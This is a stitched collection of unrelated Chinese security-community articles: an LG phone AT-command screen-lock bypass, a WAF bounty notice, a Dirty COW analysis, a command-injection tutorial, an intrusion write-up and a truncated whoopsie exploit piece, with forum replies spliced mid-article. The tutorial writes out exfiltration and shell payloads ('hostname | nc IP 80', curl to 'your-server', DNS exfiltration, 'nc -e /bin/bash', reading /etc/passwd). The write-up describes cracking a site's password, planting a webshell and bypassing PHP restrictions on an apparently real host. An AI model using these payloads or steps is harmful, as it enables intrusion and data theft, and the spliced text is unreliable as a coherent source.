联系人列表，通信历史，照片，视频，地理坐标等。大多数智能手机也可以作为一个调制解调器。
几乎每个调制解调器都是Hayes兼容的，这意味着它支持Hayes在1977年开发的AT语言的命令。每个型号都支持一些由制造商定义的基本命令集。有时这个命令集可以扩展,并可以包含非常有趣的命令。
让我们研究LG智能手机的行为。当您通过USB将其连接到计算机时，您可以自动访问调制解调器（图1）。LG特有的是，即使手机的屏幕被锁定，调制解调器也可用。
图片1
因此，即使手机受密码保护，我们也可以使用AT命令了解有关手机的一些有用信息。（图2）。
图片2
要了解这个模式支持什么命令，我们必须检查其固件。例如，对于Android智能手机，我们只需要研究文件/ system / bin /
atd。图片3-5演示了在LG G3 D855手机上找到的一些AT命令。
图片3
图片4
图片5
很明显，手机支持大多数基本的AT
+命令集，可以用于提取关于它的公共信息（图5）。但最感兴趣的是LG专有命令（AT％类型的命令）。这些命令（如AT％IMEIx，AT％SIMID，AT％SIMIMSI，AT％MEID，AT％HWVER，AT％OSCER，AT％GWLANSSID）返回有关手机的基本信息。其中包括一个命令AT％KEYLOCK（图4）。你可能猜到这个命令允许你管理屏幕锁定状态。为了研究这个命令行为，我们可以运行一个调试器并使用交叉引用来找到它的处理函数代码。如图6所示。
图片6
当调用命令AT％KEYLOCK时，根据参数数量，会从/system/lib/libatd_common.so库中调用lge_set_keylock（）或lge_get_keylock（）函数。图7显示出了函数lge_set_keylock（）的代码。
图片7
正如你从图片8中看到的，如果你传递给函数lge_set_keylock（）的值为“0”=
0x30，它将最终调用该函数，这将移除屏幕锁,无论你是用什么方法来锁定它（你可以使用PIN，密码，模式或指纹来锁定屏幕）。然后它将返回字符串“[0]
KEYLOCK OFF”（图8）。
图片8
很明显，命令AT％KEYLOCK = 0允许您删除屏幕锁定，而无需任何额外的操作。
值得一提的是，此命令只会删除屏幕锁定，而不会影响用户设置。该命令的工作原理如下：它将零值（意味着解锁）写入特殊RAM区域，该区域存储着负责屏幕锁定的值。这意味着该命令不以任何方式修改ROM。此行为是可以用来取证的，因为不访问任何用户数据，并且重新启动智能手机后将返回锁定状态。该命令不允许调查员找到屏幕锁定PIN
/模式/密码; 它只是删除它一段时间。
为了进行此分析，我们使用了LG G3 D855型号（带有V20g-SEA-XX固件）。然而，上述AT命令已经被证明在其他LG智能手机（LG G4
H812，LG G5 H860，LG V10 H960等）上也可以正常工作。所有这些模型支持这种方法。
因此，它是很容易解锁手机的。所有你需要只是拥有一个LG
Android智能手机，然后通过USB连接到一台电脑。这个后门显然是LG的服务软件，但也可以用于取证目的。但要记住，罪犯也可以使用这种方法。 | 社区文章 |
测试环境：fk.aliyundemo.com/sqli1/waf.php
Post注入点，通过注入点读取出用户密码判定为有效。
奖励标准：每个不重复绕过方案奖励1000元。
相同的绕过方案，以最先提交者为准。
20170925 更新：漏洞在审核中，目前看到后面提交的绕过方案，基本都重复了。可以看一下标题的提示，尝试使用“非规则”绕过方案绕过，避免重复漏洞。 | 社区文章 |
### 一. 漏洞概述
2016年10月18日，黑客Phil Oester提交了隐藏长达9年之久的“脏牛漏洞（Dirty
COW）”0day漏洞，2016年10月20日，Linux内核团队成员、Linux的创始人Linus修复了这个
0day漏洞，该漏洞是Linux内核的内存子系统在处理写时拷贝（Copy-on-Write)时存在条件竞争漏洞，导致可以破坏私有只读内存映射。黑客可以获取低权限的本地用户后，利用此漏洞获取其他只读内存映射的写权限，进一步获取root权限。
针对该漏洞阿里云安全团队在第一时间对该漏洞进行了详细的技术分析，具体详情见“第二章节 漏洞分析”内容。
### 二. 漏洞基本信息
**漏洞编号：** CVE-2016-5195
**漏洞名称：** 脏牛（Dirty COW）
**漏洞危害：本地提权**
黑客可以通过远程入侵获取低权限用户后，在服务器操作系统本地利用该漏洞实现本地提权，从而获取到服务器root权限。
**影响范围：** Linux kernel>2.6.22 (released in 2007)的所有Linux系统 _**_
**漏洞利用条件：**
黑客可以通过远程入侵获取低权限用户后,才能进一步在操作系统本地利用该漏洞。
### 三. 漏洞详细分析
从漏洞描述上看，该漏洞是存在于__get_user_pages()函数中的一个条件竞争漏洞。一般而言，条件竞争漏洞的分析主要分为3点：
**A) 竞争点**
**B) 竞争条件**
**C) 竞争方式**
竞争方式比较好理解，从最初的漏洞利用代码中可以了解到，该代码作者启用两个线程并各自分别使用了madvise和write两个系统调用实现竞争点的竞争。
### 3.1 madvise实现分析
madvise系统调用常用于用户态程序主动通知内核其使用内存的方式，以优化系统性能，以MADV_DONTNEED为参数调用该系统调用是为了通知内核：用户态程序再后续操作中基本不会在使用该指定的内存区域。内核实际发生的操作是：
sys_madvise():
madvise_vma():
madvise_dontneed():
zap_page_range():
…
zap_pte_range():
// spinlock enable
ptep_get_and_clear_full():
ptep_get_and_clear() /*PTE清零*/
// spinlock disable
即内核使用sys_madvise将指定内存区域在该用户态程序的页表中对应的页表项清空。
0 6 条回复 笑然 管理 发表于：2016-10-25 12:01:48
### 3.2 write()实现分析
write系统调用是最常用的系统调用之一，用于帮助用户态程序向指定的存储区域写入数据。在本次漏洞利用过程中，write系统调用将被用于进入关键的竞争区域，实现漏洞的逻辑控制。
write系统调用实际执行的操作如下：
sys_write():
…
__access_remote_vm():
get_user_pages():
__get_user_pages():
retry:
page = follow_page_mask();
if !page {
ret = faultin_page();
if ret == 0:
goto retry
从上述代码逻辑中很容易了解到，当page为NULL并且ret为0时，get_user_pages将陷入retry循环块中反复调用follow_page_mask()和faultin_page()函数，直到循环条件被不满足才结束循环。
follow_page_mask()函数用户获取指定内存区域对应的struct page结构，其关键逻辑为：
follow_page_mask():
follow_page_pte():// 自旋锁启用
if pte == 0:
return NULL// 自旋锁关闭
faultin_page()函数被用于处理page不存在的情况，对导致follow_page_mask()函数失败的页表项pte进行处理并保证内核上下文的正确性，即在合理的情况下，如果需要内核分配新的pte及page结构体，该函数会完成并返回0，如果用户请求存在异常，该函数将返回其他值以便退出retry循环。
因此，follow_page_mask()函数和faultin_page()函数由于对相同的页表项pte或page结构进行处理，在逻辑上应当属于同一个原子操作，即
//原子序列开始
操作A：follow_page_mask() o:p/o:p
操作B：faultin_page() o:p/o:p
操作C：follow_page_mask()
//原子序列结束
但是在真实的执行逻辑中，并不存在对应的保证原子一致性的保护，该操作序列极易被打断（特别是在真实代码中，该操作序列中还存在调度逻辑）。如果存在修改同一页表项pte的其他执行流在上述操作B和操作C之间被内核调用，就可能改变操作B的执行效果，从而影响操作C及后续内核上下文的执行情况。
遗憾的是，前面介绍的madvise系统调用正是如此。
### 3.3 竞争分析
在madvise(MADV_DONTNEED)的关键逻辑中存在对页表项pte的清零操作，当re-try循环的操作B完成后（分配新的页表项pte），另一条执行流madvise(MADV_DONTNEED)被调度执行时，操作B的执行效果将被重置，此时，re-try循环代表的执行流又重新获取执行资源后，操作C将返回NULL，faultin_page()函数又将重新执行。如果内核开发者未预料到该情况并且faultin_page()函数在全局资源或上下文语义上不是简单的可重入函数的话，本次条件竞争问题将会对系统产生难以预料的副作用。
因此，这就是该该条件竞争漏洞的竞争原因。操作B和操作C之间的执行资源，就是该条件竞争漏洞的竞争点。竞争方式就是利用madvise(MADV_DONTNEED)修改faultin_page()函数分配的页表项pte。实际竞争执行流如下：
re-try执行流: follow_page_mask()返回NULL（readonly或NULL）
re-try执行流: faultin_page()返回0，（dirty & readonly page）
re-try执行流：follow_page_mask()返回NULL（readonly）
re-try执行流: faultin_page()返回0，（drop ROLL_WRITE）
madvise执行流：zap_pte_range() (pte清零)
re-try执行流：follow_page_mask()返回NULL（pte==0）
/ _此刻，由于失去FOLL_WRITE标志，接下来的faultin_page()函数调用会认为其在应对一个“读”情况_ /
re-try执行流: faultin_page()返回0，（alloc page-cache page）
此时，faultin_page()会从page cache中请求分配了page（在实际的竞争过程中，该page基本都是同一个），并且page
dirty标志位被标记，page内容被重新初始化对应的映射的文件中对应偏移位置开始的4K数据。
当_get_user_pages()函数完成page-cache
page分配和页表项修复后，write系统调用继续运行并完成了用户的写请求，用户数据被写入目标内存，即该page-cache
page。注意，由于原始normal page的pte拥有的写标志位为0，page-cache
page对应的写标志位同样为0，此处是内核的写用户空间的正常功能。
当file mapped page-cache page的内容被修改后，内核的dirty-writeback线程将会负责将内容回写到文件中，高权限文件因而被修改。
### 四、漏洞分析总结
目前linux内核开发团队已经给出修复补丁，出于性能和效率的考虑，该修复方案并非将re-try循环中的两个操作follow_page_mask()和faultin_page()进行锁操作，而是取消了循环中的逻辑读写标志。
因此，从技术的角度，虽然该竞争点依然存在，但madvise系统调用的页表项清零操作已不再对faultin_page()函数的内核上下文的操作带来副作用。内核中是否存在其他适合的执行流能够影响该re-try循环尚未可知。
### 五. 该如何检测漏洞？
阿里云官方建议用户使用以下方式自查是否存在此漏洞：
l 阿里云云盾安骑士提供自动检查方式，用户可以登录到阿里云云盾控制台使用安骑士“安全基线检查 - 高危漏洞应急检查 ”功能自动检查，
修复漏洞后，可以自动进行修复验证漏洞修复验证：
**控制台链接：**<https://yundun.console.aliyun.com/?p=aqs#/aqs/models/safeCheck>
使用uname -a查看 Linux 系统的内核版本，如：
[Linux AYxxxx ]2.6.32-431.23.3.el6.x86_64 #1 SMP Thu Jul 31 17:20:51 UTC 2014
x86_64 x86_64 x86_64 GNU/Linux
上述内核版本2.6.32-431.23.3.el6.x86_64受漏洞影响。
[Linux AYxxxx ]2.6.18-308.el5 #1 SMP Tue Feb 21 20:06:06 EST 2012 x86_64
x86_64 x86_64 GNU/Linux
上述内核版本2.6.18-308.el5不受漏洞影响。
0 回复Ta 笑然 管理 发表于：2016-10-25 12:05:24
### 六、 该如何修复漏洞？
目前阿里云安全团队针对已经发布补丁的Linux发行版本提供了漏洞修复方案，用户可以参考官方链接进行修复:
<https://help.aliyun.com/knowledge_detail/44786.html?spm=5176.7713535506.n2.3.0gYmjV>
对于对于CentOS和AliyunOS 操作系统，官方正在研发漏洞对应的系统补丁，待补丁发布后，将系统更新到最新版本即可修复漏洞。
**提示：由于涉及到操作系统内核的升级，我们强烈建议您：正确关闭正在运行的服务，并做好数据备份工作。同时创建服务器磁盘快照，避免修复失败造成不可逆的影响。**
### 七. 参考链接
<http://dirtycow.ninja/>
<https://github.com/dirtycow/>
<https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c>
<https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619> | 社区文章 |
# 【安全科普】Web安全之浅析命令注入
##### 译文声明
本文是翻译文章，文章来源：hackerone.com
原文地址：<https://www.hackerone.com/blog/how-to-command-injections>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[LeagerL](http://bobao.360.cn/member/contribute?uid=2942089324)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
命令注入是指攻击者可以能够控制操作系统上执行的命令的一类漏洞。 这篇文章将会讨论它的影响，包括如何测试它 ，绕过补丁和注意事项。
在命令注入之前，先要深入了解 的是:命令注入与远程代码执行(RCE)不一样。它们的区别是 ，通过RCE，执行的是代码 ，而在命令注入的时
，执行的是一个(OS)命令。这可能只是一个微小的影响差异，但关键的区别在于如何找到并利用它们。
**设置**
我们首先编写两个简单的Ruby脚本，通过本地运行脚本来学习如何发现并利用命令注入漏洞 。我使用Ruby 2.3.3p222。下面是ping.rb。
puts `ping -c 4 #{ARGV[0]}`
该脚本将会，防止异意ping作为参数传递给脚本的服务器。 然后它将在屏幕上返回命令输出。示例输出如下。
$ ruby ping.rb '8.8.8.8'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=23.653 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=9.111 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=8.571 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=20.565 ms
--- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 8.571/15.475/23.653/6.726 ms
如上所示，它执行ping -c 4 8.8.8.8并在屏幕上显示输出。这是另一个脚本：server-online.rb。
puts `ping -c 4 #{ARGV[0]}`.include?('bytes from') ? 'yes' : 'no'
该脚本将根据ICMP响应（ping）来确定服务器是否处于联机状态。如果它响应ping请求，将在屏幕上显示是。如果没有，将显示否。命令的输出不会返回给用户。示例输出如下。
$ ruby server-on.rb '8.8.8.8'
yes
$ ruby server-on.rb '8.8.8.7'
No
**测试**
检测一级命令注入漏洞的最佳方法之一是尝试执行sleep命令，并确定执行时间是否增加。首先，我们为ping.rb脚本建立时间基线 :
$ time ruby ping.rb '8.8.8.8'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
...
0.09s user 0.04s system 4% cpu 3.176 total
注意，执行脚本大约需要3秒。我们通过注入sleep命令观察脚本是否容易受到命令注入攻击。
$ time ruby ping.rb '8.8.8.8 && sleep 5'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
...
0.10s user 0.04s system 1% cpu 8.182 total
该脚本现在将执行命令ping -c 4 8.8.8.8 && sleep
5。再次注意执行时间：它从〜3秒跳到〜8秒，这增加了5秒。互联网上仍然可能会出现意想不到的延迟，所以重复注入和设定较长的时间是很重要的，以确保它不是假阳性。
我们来观察 server-online.rb脚本是否也是易受攻击的。
$ time ruby server-online.rb '8.8.8.8'
yes
0.10s user 0.04s system 4% cpu 3.174 total
$ time ruby server-online.rb '8.8.8.8 && sleep 5'
yes
0.10s user 0.04s system 1% cpu 8.203 total
同样，基线显示执行一个正常的请求大约需要3秒。在命令中添加&sleep5会增加到8秒的时间。
根据执行的命令，可以注入不同的sleep命令。以下是一些可以尝试的有效payload(它们都是有效的):
time ruby ping.rb '8.8.8.8`sleep 5`'
当一个命令行被解析时，反引号之间的所有内容都将首先执行。执行echo
`ls`将首先执行ls并捕获其输出。然后会将输出传递给echo，该输出将在屏幕上显示ls的输出，这被称为命令替换。由于反引号间的命令优先执行，
，所以之后的命令无关紧要。下面是一个带有注入有效payload及其结果的命令表。注入的有效payload被标记为绿色。
time ruby ping.rb '8.8.8.8$(sleep 5)'
这是命令替换的另一种方式 。当反引号被过滤或编码时，这可能很有效。当使用命令替换来查找命令注入时，请确保对两种方式 进行测试，来替换掉有效payload
(见上表中的最后一个例子)。
time ruby ping.rb '8.8.8.8; sleep 5'
命令按照顺序（从左到右）执行，并且可以用分号分隔。当序列中的一个命令执行失败时，不会停止执行其他命令。下面是一个带有注入有效payload及其结果的命令表。
注入的有效payload用绿色标记。
time ruby ping.rb '8.8.8.8 | sleep 5'
命令输出可以按顺序将命令通过管道输出到其他命令。当执行cat/etc/passwd grep root
时，它将捕获cat/etc/passw命令的输出并将其传递给grep root，然后将显示与root
匹配的行。当第一个命令失败时，它仍然执行第二个命令。下面是一个带有注入有效payload及其结果的命令表。注入的有效payload用绿色标记。
**利用**
利用漏洞时需要判断是通常的注入还是盲注 。两者之间的区别在于盲注 不会返回命令的输出。通常命令注入会将 返回响应中
执行命令(s)的输出。sleep指令通常是一种很好的概念证明 。但是如果需要更多的信息
，可以执行id、hostname,或whoami，并使用输出查看结果。服务器的hostname有助于确定有多少服务器受到影响，并帮助供应商更快地获得反馈。
重点：大多数公司都不喜欢你窥探他们的系统。利用该漏洞进行其他任务之前，请向该公司申请许可。在几乎所有的情况下，执行去掉无害的命令，如sleep、id、hostname,或whoami，就足以证明该公司存在该漏洞。
**利用命令注入**
这通常很简单：任何注入的命令的输出都将返回给用户：
$ ruby ping.rb '8.8.8.8 && whoami'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.008 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=8.572 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=9.309 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=9.005 ms
--- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 8.572/8.973/9.309/0.263 ms
jobert
红色部分显示了ping命令的输出。绿色文本是whoami命令的输出。这就是你的POC。再次强调，要坚持使用无害的命令。
**利用命令盲注**
使用盲注命令，输出不会返回给用户，所以应该找到其他方法来提取输出。最直接的技术是将输出回传到您的服务器。为了模拟这一点，请在服务器上运行nc -l -n
-vv -p 80 -k，并允许防火墙中端口80上的入站连接。
设置好监听器后，使用nc，curl，wget，telnet或任何其他向互联网发送数据的工具，将输出发送到您的服务器：
$ ruby server-online.rb '8.8.8.8 && hostname | nc IP 80'
yes
然后观察一个连接到服务器的连接，该连接显示hostname命令的输出:
$ nc -l -n -vv -p 80 -k
Listening on [0.0.0.0] (family 0, port 81)
Connection from [1.2.3.4] port 80 [tcp/*] accepted (family 2, sport 64225)
hacker.local
在上面的示例中，nc用于将命令的输出发送到您的服务器。然而，nc可能会被删除或无法执行。为了防止掉进坑中
，有几个简单的有效payload来确定一个命令是否存在。如果命令中的任何一个命令增加了5秒的时间，就知道这个命令是存在的。
curl -h && sleep 5
wget -h && sleep 5
ssh -V && sleep 5
telnet && sleep 5
确定命令时，可以使用上面中的任意一个命令将命令的输出发送到服务器，如下所示：
whoami | curl http://your-server -d @- wget http://your-server/$(whoami)
export C=whoami | ssh user@your-server (setup the user account on your-server to authenticate without a password and log every command being executed)
即使server-online.rb脚本不输出hostname命令的结果，也可以将该输出发送到远程服务器，并由攻击者获取。有时候
，出站TCP和UDP无法使用。在这种情况下我们只需要一点处理就可以继续 。
为了拿到结果 ，我们必须基于可以更改的内容来猜测输出。在这种情况下，可以使用sleep命令来增加执行时间。这可以用于检测是否执行
。这里的技巧是将命令的结果传递给sleep命令。这里有一个例子：sleep $（hostname | cut -c 1 | tr a 5）。
下面来分析一下。
它正在执行hostname命令。 我们假设它返回hacker.local。
它会把该输出传递给cut -c 1.这将取代hacker.local的第一个字符，这是字符h。
它将其传递给tr a 5，它将在切割命令（h）的输出中用一个5代替字符a。
然后将tr命令的输出传递给sleep命令，导致执行sleep h。
这将立即出现错误，因为sleep只能作为第一个参数。目标是用tr命令迭代字符。一旦执行sleep $（hostname | cut -c 1 | tr h
5），命令将需要5秒钟的时间才能执行。这就是如何确定第一个字符是一个h的方法。
一旦你猜到一个字符，就把你传递给cut-c命令的次数增加，然后重复。
下面是一个使用命令来确定输出的表:
要确定需要猜测多少个字符:将hostname的输出传递到wc-c，并将其传递给sleep命令。hacker.local是12个字符。hostname命令返回hostname和新行，因此wc-c将返回13。我们建立了正常的脚本，脚本需要3秒才能完成。
$ time ruby server-online.rb '8.8.8.8 && sleep $(hostname | wc -c)'
yes
0.10s user 0.04s system 0% cpu 16.188 total
上面的有效payload
表明脚本现在需要16秒才能完成，这意味着hostname的输出是12个字符:16-3(基线)-1(新行)=12个字符。当在web服务器上执行这个有效payload时，输出可能会发生变化:当不同的服务器处理请求时，hostname的长度可能会发生变化。
上述技术适用于较小的输出，但读取文件 可能需要很长时间。 以下一些方法可能会具有很大的侵犯性，所以一定要确保公司批准 ，并让你使用更具侵略性的方法。
在出站连接无法使用 并且使用时间法会消耗大量时间的情况下，这里还有一些其他的技巧（在CTF期间有用）：
在服务器上运行端口扫描，并基于已暴露的服务去确定一种提取输出的方法。
FTP：尝试将文件写入一个目录，可以从该目录中下载文件。
SSH:尝试将命令的输出写到MOTD标志，然后简单地将SSH连接到服务器。
Web:尝试将命令的输出写到公共目录中的文件(/var/www/)。
在一个可以从外部到达的端口上生成一个shell(只在定制的netcat中可用):nc-l-n-vv-p 80-e/bin/bash(unix)或nc-l-vv-cmd-cmd。exe(windows)。
使用dig或nslookup进行DNS查询以将输出发送到端口53（UDP）：dig`hostname` @ your-server或nslookup`hostname` your-server。可以使用服务器上的nc -l -n -v–p-53 -u -k捕获输出。
这可能会有用 ，因为通常允许出站DNS流量。 看看这条推特如何回传文件内容。
在ping服务器以回传数据时，请更改ICMP数据包大小。 tcpdump可用于捕获数据。 看看这个推文如何做到这一点。
还有很多其他的方法，但这常常取决于服务器给你的配置 。上面所示的技术在利用命令注入漏洞时是最常见的。关键是使用所需要的内容来提取输出！
**绕过补丁**
有时，服务器已经采取了一些防范 ，这可能导致上述方法不起作用。我所知道有一种缓解 方法是对有效payload
的空格进行限制。即有一种叫做“括号扩展”的技术可以用来创建没有空格的有效payload。下面是ping-2.rb，它是ping.rb的第二个版本。在将用户输入传递给命令之前，它会从输入中删除空格。
puts `ping -c 4 #{ARGV[0].gsub(/s+?/,'')}`
当将8.8.8.8&&sleep 5作为参数传递时，它将执行ping-c 4 8.8.8.8&&sleep 5，这将导致一个错误显示 命令sleep
5没有被发现。有一种简单的方法可以使用括号扩展:
$ time ruby ping-2.rb '8.8.8.8;{sleep,5}'
...
0.10s user 0.04s system 1% cpu 8.182 total
下面是一个有效payload ，它将命令的输出发送到外部服务器，而不使用空格:
$ ruby ping.rb '8.8.8.8;hostname|{nc,192.241.233.143,81}'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
...
Or to read /etc/passwd:
$ ruby ping.rb '8.8.8.8;{cat,/etc/passwd}'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.215 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=10.194 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=10.171 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=8.615 ms
--- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 8.615/9.549/10.194/0.668 ms
##
# User Database
#
# Note that this file is consulted directly only when the system is running
# in single-user mode. At other times this information is provided by
# Open Directory.
...
开发人员必须关注由用户输入整合的命令，并做好防范 。开发人员采用不同的方法来防范命令注入 ，你可以试着探索一下他们是怎么做的 。 | 社区文章 |
## 收集信息
发现
.project文件 sql目录遍历 uploads目录遍历 phpmyadmin泄露 superadmin 目录（phpmywind）泄露
include目录遍历
### 获取到管理员密码
首先看sql目录
下载后发现是sql的导出文件，有php版本 phpstudy 查看一些信息发现
somd5解出来密码是rock1980
### 登陆phpMyadmin
尝试admin rock1980登陆phpwind phpmyadmin未果，用root rock1980登陆phpmyadmin，成功登陆
secure_file_priv设置为NULL，写日志文件又不知道web绝对路径写不了shell，陷入沉思
### 登陆phpMyWind
沉思的时候翻数据库
找了一下发现另一个admin表，怀疑是phpmywind的管理员表，md5解不出，自己加了一个用户进去test/testtesttestaaa，登陆成功
## 一个任意文件读取
发现是低版本phpmywind 5.3 可以后台任意文件读取 结合之前的include路径遍历，可以读取一些敏感信息
<https://www.0dayhack.com/post-764.html>
## GetShell
看了一下功能，发现后台可以改允许上传文件后缀,修改php上传php发现貌似被waf拦了，改为phtml上传成功
连上马
然后发现有disable_function无法执行系统命令，但是没有禁用putenv和mail
于是用LD_PRELOAD + putenv绕过
<https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD>
phpinfo发现是centos 64位
于是上传64 位的so文件，配合php，成功执行系统命令
下面执行了ifconfig
centos系统内核比较老，可能可以提权，但怕搞坏机器就没继续了，内网也很大，可能可以漫游，不过还是要先提权，就止步于此了 | 社区文章 |
# 利用Ubuntu的错误报告功能实现本地提权（LPE）part4
|
##### 译文声明
本文是翻译文章，文章原作者 github，文章来源：securitylab.github.com
原文地址：<https://securitylab.github.com/research/ubuntu-whoopsie-CVE-2019-11484>
译文仅供参考，具体内容表达以及含义原文为准。
这篇文章中，我将重点介绍whoopsie CVE-2019-11484，一个导致堆溢出的整数溢出漏洞。为了成功实现exploit
，我需要使用之前文章中介绍过的漏洞，用来获取whoopsie的ASLR偏移量。通过这两个漏洞，我可以用whoopsie用户获得一个shell，如[视频](https://v.youku.com/v_show/id_XNDQ4MzE0NDY4NA==.html?spm=a2hzp.8244740.0.0)中所演示。
## 简介
我需要一个whoopsie中的漏洞来完成CVE-2019-7307的漏洞攻击链，我发现了两个堆溢出漏洞，但是我只能成功利用第二个。我无法利用的第一个漏洞（CVE-2019-11476）在
whoopsie.c，第425行：
/* The length of this value string */
value_length = token_p - p;
if (value) {
/* Space for the leading newline too. */
value_pos = value_p - value;
if (INT_MAX - (1 + value_length + 1) < value_pos) {
g_set_error (error,
g_quark_from_static_string ("whoopsie-quark"),
0, "Report value too long.");
goto error;
}
value = g_realloc (value, value_pos + 1 + value_length + 1);
value_p = value + value_pos;
*value_p = 'n';
value_p++;
} else {
这段代码在[parse_report](https://bazaar.launchpad.net/~daisy-pluckers/whoopsie/trunk/view/698/src/whoopsie.c#L354)中，当有新的错误报告写入`/var/crash`时调用它。问题是`value_length`和`value_pos`有int类型，我的PoC通过创建一个长度小于4GB的“字符串值”的错误报告。这将绕过[426行](https://bazaar.launchpad.net/~daisy-pluckers/whoopsie/trunk/view/698/src/whoopsie.c#L426)的边界检查，从而导致堆溢出。但我发现堆溢出的总是覆盖一个未映射的内存区域，导致立即发生`SIGSEGV`，所以我的结论是，这只是一个拒绝服务漏洞。
第二个漏洞是可利用的，它也存在于将新的错误报告写入`/var/crash`时调用的代码中，它在代码中的隐藏的比较深。错误报告在第656行被解析之后，在[第669行](https://bazaar.launchpad.net/~daisy-pluckers/whoopsie/trunk/view/698/src/whoopsie.c#L669)被转换为BSON格式。从漏洞报告的[讨论](https://bugs.launchpad.net/ubuntu/+source/whoopsie/+bug/1830865/comments/5)中可以看出，whoopsie正在使用一个非常老的libbson来进行转换。在`bson_ensure_space`有一个整数溢出漏洞:
int bson_ensure_space( bson *b, const int bytesNeeded ) {
int pos = b->cur - b->data;
char *orig = b->data;
int new_size;
if ( pos + bytesNeeded <= b->dataSize )
return BSON_OK;
`pos +
bytesNeeded`可能溢出变为负数，这导致`bson_ensure_space`立即返回而没有分配更多的内存。更糟糕的是它返回了`BSON_OK`，因此调用者会认为内存分配成功。就像在我的PoC中那样，通过向BSON对象写入超过2GB的数据来触发这个漏洞，获得`SIGSEGV`是非常容易的。
## exploit
获取代码执行比较复杂，但实际上，这个漏洞是可以利用的。因为我无法控制缓冲区的大小，所以我无法控制它在内存中的位置。所以被分配到一个mmaped区域，这就排除了大部分常见的malloc利用技巧。
这个漏洞之所以可以被利用，是因为我能够破坏的内存区域包含一个内存分配器，称为[GSlice
allocator](https://github.com/GNOME/glib/blob/2812219adb2d3e1208943f4bddf54b3a1c1e1ed3/glib/gslice.c)。GSlice
allocator使用独立的“magazines”来提高分配效率。例如，它有一个16字节的块和一个32字节的块。magazine将大小一样未分配的块存储成单向链表，而内存开销为零。（大多数内存分配器会为元数据使用额外的存储空间，例如块的大小和prev
/
next指针。）我能够破坏的内存区域包含16字节的magazines，我的exploit是覆盖其中一个16字节块的下一个指针，这样分配器将在我选择的地址分配一个16字节块。在可利用性方面，有一些好消息和一些坏消息。让我们先从好消息开始：
1. 1.由于CVE-2019-15790，知道了whoopsie的ASLR偏移量，因此可以准确的计算目标地址应该在什么位置。
2. 2.我可以通过在/var/crash中创建一个文件来触发一个16字节的分配，这样我就可以控制何时将块分配到我选择的地址。
3. 3.mmap-ed区域中magazines的偏移量在每次运行时都是一致的，因此我知道需要破坏哪个偏移量。
坏消息是：
1. 1.堆溢出字符串不能包含任何小于0x20（空格字符）的字节。它还必须是一个有效的UTF8字符串。所以我只能用有效字符串的地址覆盖下一个指针。
2. 2.我分配的fake块将不包含有效的“next”指针，分配器肯定会在下次分配时崩溃。所以我只有一次机会去做一些事情。
3. 3.触发堆溢出需要在`/var/crash`中创建一个文件，该文件触发16字节的分配并从单向链表中取出一个块。所以我只能在所有块都被分配之前触发少量的溢出，并且不会留下任何损坏。
在某种程度上，我可以通过暴力破解的方法解决UTF8问题:只需多次运行exploit，直到ASLR生成一个有效的UTF8字符串地址。这种方法的问题是，我在上一篇文章中描述的exploit，但PID回收非常慢。它必须使用`bson_ensure_space`中的堆溢出来重新启动whoopsie，每次大约消耗15秒，而且由于whoopsie分配的PID存在不稳定性，它也只有大约1/3的正确率。因此，通常至少需要一分钟才能获得一组新的ASLR偏移量。一个代码地址的28位受ASLR影响。例如，在我的漏视频中，可以看到system函数被分配的一些地址是0x7ffad145c440、0x7f54e2d08440和0x7feeed303440。这些地址中有一个UTF8是有效的，并且不包含任何小于0x20字节的概率只有3.8%。如果我需要写多个地址，情况会变得很糟。代码地址的ASLR偏移量与堆偏移量无关，因此在同时运行中，两者都有效的机会太小了，导致exploit无法在合理的时间内完成。当我第一次开始研究这个exploit时，它需要几个小时才能完成，因为这种可能性很低。但是我发现了一个更好的解决方案，它将ASLR选择合适偏移量的概率提高到了32.6%，这意味着exploit通常在5分钟内完成。
### 内存布局
下图显示了在处理新的错误报告时两个阶段中的内存布局：
在第一阶段(parse_report)中，错误报告被mmap-ed（映射）到进程中。它包含一个2GB的字符串值，这个字符串被memcpy保存到一个malloced缓冲区中。然后对错误报告进行munmap-ed，在内存中留下一个缺口。在第二阶段(bsonify)，当2GB字符串被复制到bson对象时，这个缺口就被填补了。这就是我很幸运的地方，因为bson对象映射的内存区域的末尾与16字节GSlice
magazines映射的区域的头部没有间隙。所以我可以使用堆溢出来破坏magazines。
### 16字节GSlice magazine布局
我的exploit中包含了16字节GSlice magazines占用空间的一些memory
dumps演示。比如我前面提到的，magazines是一个单向链表，随时可以使用。以下是一个memory dumps的部分信息：
0x7f6f48006f40: 0x48006f50 0x00007f6f 0x00000000 0x00000000
0x7f6f48006f50: 0x48006f60 0x00007f6f 0x00000000 0x00000000
0x7f6f48006f60: 0x48006f80 0x00007f6f 0x00000000 0x00000000
0x7f6f48006f70: 0x6f8347c0 0x000055af 0x00000000 0x00000000
0x7f6f48006f80: 0x48006fa0 0x00007f6f 0x00000000 0x00000000
